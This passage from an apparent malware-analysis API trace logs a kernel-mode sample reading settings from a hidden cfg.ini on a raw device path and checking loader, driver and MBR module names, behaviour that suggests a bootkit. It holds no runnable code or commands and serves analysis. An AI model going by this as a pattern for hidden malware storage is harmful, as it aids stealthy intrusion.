(FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bef950, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.134] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.134] KeLeaveCriticalRegion () [0124.134] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.134] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.134] KeEnterCriticalRegion () [0124.134] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.134] ExFreePoolWithTag (P=0xfffffa8003be24b0, Tag=0x0) [0124.134] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.134] KeLeaveCriticalRegion () [0124.134] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.134] ReleaseMutex (hMutex=0xf0) returned 1 [0124.134] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.134] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.135] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.135] KeEnterCriticalRegion () [0124.135] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.135] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.135] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.135] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.135] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.135] IdePortDispatch () returned 0x103 [0124.135] KeWaitForMutexObject () returned 0x0 [0124.135] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.135] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.135] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.135] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.135] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.135] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bef490 [0124.135] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.135] KeLeaveCriticalRegion () [0124.135] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.135] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.135] KeEnterCriticalRegion () [0124.135] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.135] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.135] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.135] KeLeaveCriticalRegion () [0124.135] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.135] KeEnterCriticalRegion () [0124.135] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.135] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.135] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.135] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.135] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.135] IdePortDispatch () returned 0x103 [0124.135] KeWaitForMutexObject () returned 0x0 [0124.136] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.136] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.136] KeLeaveCriticalRegion () [0124.136] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.136] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.136] KeEnterCriticalRegion () [0124.136] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.136] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034fe000 [0124.136] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.136] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.136] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.136] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.136] IdePortDispatch () returned 0x103 [0124.136] KeWaitForMutexObject () returned 0x0 [0124.136] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.136] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.136] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.136] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.136] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.136] IdePortDispatch () returned 0x103 [0124.136] KeWaitForMutexObject () returned 0x0 [0124.136] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.137] KeLeaveCriticalRegion () [0124.137] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.137] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.137] KeEnterCriticalRegion () [0124.137] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.137] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.137] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.137] KeLeaveCriticalRegion () [0124.137] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.137] KeEnterCriticalRegion () [0124.137] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.137] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.137] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003befe70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.137] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.137] KeLeaveCriticalRegion () [0124.137] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.137] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.137] KeEnterCriticalRegion () [0124.137] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.137] ExFreePoolWithTag (P=0xfffffa8003bef490, Tag=0x0) [0124.137] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.137] KeLeaveCriticalRegion () [0124.137] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.137] ReleaseMutex (hMutex=0xf0) returned 1 [0124.137] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.137] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0124.138] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.138] KeEnterCriticalRegion () [0124.138] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.138] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.138] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.138] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.138] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.138] IdePortDispatch () returned 0x103 [0124.138] KeWaitForMutexObject () returned 0x0 [0124.138] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.138] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.138] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.138] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.138] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.138] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bee870 [0124.138] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.138] KeLeaveCriticalRegion () [0124.138] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.138] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.138] KeEnterCriticalRegion () [0124.138] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.138] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.138] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.138] KeLeaveCriticalRegion () [0124.138] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.138] KeEnterCriticalRegion () [0124.138] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.138] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.138] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.138] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.138] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.138] IdePortDispatch () returned 0x103 [0124.138] KeWaitForMutexObject () returned 0x0 [0124.139] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.139] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.139] KeLeaveCriticalRegion () [0124.139] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.139] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.139] KeEnterCriticalRegion () [0124.139] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.139] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034ff000 [0124.139] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.139] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.139] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.139] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.139] IdePortDispatch () returned 0x103 [0124.139] KeWaitForMutexObject () returned 0x0 [0124.139] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.139] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.139] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.139] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.139] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.139] IdePortDispatch () returned 0x103 [0124.139] KeWaitForMutexObject () returned 0x0 [0124.140] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.140] KeLeaveCriticalRegion () [0124.140] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.140] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.140] KeEnterCriticalRegion () [0124.140] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.140] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.140] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.140] KeLeaveCriticalRegion () [0124.140] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.140] KeEnterCriticalRegion () [0124.140] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.140] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.140] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003beef20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.140] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.140] KeLeaveCriticalRegion () [0124.140] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.140] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.140] KeEnterCriticalRegion () [0124.140] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.140] ExFreePoolWithTag (P=0xfffffa8003bee870, Tag=0x0) [0124.140] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.140] KeLeaveCriticalRegion () [0124.140] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.140] ReleaseMutex (hMutex=0xf0) returned 1 [0124.140] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0124.140] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0124.141] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0124.141] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0124.141] KeEnterCriticalRegion () [0124.141] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.141] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.141] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.141] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.141] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.141] IdePortDispatch () returned 0x103 [0124.141] KeWaitForMutexObject () returned 0x0 [0124.141] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.141] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0124.141] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.141] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.141] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.141] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.141] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.141] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.141] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.141] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0124.141] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.141] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.141] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.141] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.141] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.141] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.141] KeLeaveCriticalRegion () [0124.141] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.141] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0124.141] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0124.141] KeEnterCriticalRegion () [0124.141] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.141] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.141] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.141] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.141] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.141] IdePortDispatch () returned 0x103 [0124.142] KeWaitForMutexObject () returned 0x0 [0124.142] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.142] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0124.142] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.142] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.142] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.142] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.142] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.142] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.142] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.142] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0124.142] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.142] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.142] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.142] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.142] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.142] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.142] KeLeaveCriticalRegion () [0124.142] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.142] ReleaseMutex (hMutex=0x100) returned 1 [0124.142] Sleep (dwMilliseconds=0x2bf20) [0124.149] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6d311610, dwHighDateTime=0x1d24fa4)) [0124.149] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0124.149] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.149] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.149] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.149] KeEnterCriticalRegion () [0124.149] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.149] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.149] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.149] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.149] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.149] IdePortDispatch () returned 0x103 [0124.149] KeWaitForMutexObject () returned 0x0 [0124.149] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.149] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.149] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.149] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.150] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.150] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003befd60 [0124.150] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.150] KeLeaveCriticalRegion () [0124.150] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.150] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.150] KeEnterCriticalRegion () [0124.150] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.150] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.150] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.150] KeLeaveCriticalRegion () [0124.150] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.150] KeEnterCriticalRegion () [0124.150] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.150] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.150] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.150] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.150] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.150] IdePortDispatch () returned 0x103 [0124.150] KeWaitForMutexObject () returned 0x0 [0124.150] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.150] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.150] KeLeaveCriticalRegion () [0124.150] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.150] _snprintf 